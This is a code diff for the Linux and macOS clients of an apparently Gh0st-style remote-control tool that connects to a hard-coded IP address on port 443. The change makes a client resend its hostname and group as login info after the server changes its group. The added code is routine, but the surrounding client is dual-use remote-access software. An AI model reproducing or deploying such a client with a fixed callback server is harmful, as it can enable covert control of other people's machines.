diff --git a/linux/main.cpp b/linux/main.cpp index 3775fd9..f52a22b 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -41,6 +41,7 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L // 全局状态 State g_bExit = S_CLIENT_NORMAL; +static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 // 客户端 ID(V2 文件传输需要) uint64_t g_myClientID = 0; @@ -517,6 +518,8 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) // Update global settings memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + // 标记需要重发登录信息(让服务端更新分组显示) + g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); @@ -1039,6 +1042,21 @@ int main(int argc, char* argv[]) // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { + // 检查是否需要重发登录信息(分组变更后) + if (g_needResendLogin.exchange(false)) { + // 更新 szPCName(hostname/groupname 格式) + std::string grp = g_SETTINGS.szGroupName; + if (!grp.empty()) { + std::string pcNameWithGroup = std::string(hostname) + "/" + grp; + strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1); + } else { + strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); + } + logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; + ClientObject->SendLoginInfo(logInfo); + Mprintf(">> Resent login info after group change\n"); + } + // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) { diff --git a/macos/main.mm b/macos/main.mm index cd577f7..a6336ac 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -31,6 +31,7 @@ // Global state static std::atomic g_running(true); +static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 // Client ID (calculated from system info, used by ScreenHandler) uint64_t g_myClientID = 0; @@ -805,6 +806,8 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) // Update global settings memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); + // 标记需要重发登录信息(让服务端更新分组显示) + g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); @@ -914,6 +917,13 @@ int main(int argc, const char* argv[]) // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { + // 检查是否需要重发登录信息(分组变更后) + if (g_needResendLogin.exchange(false)) { + fillLoginInfo(logInfo); + ClientObject->SendLoginInfo(logInfo); + Mprintf(">> Resent login info after group change\n"); + } + // 等待心跳间隔(每秒检查一次退出条件,保证及时响应) int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; for (int i = 0; i < interval; ++i) {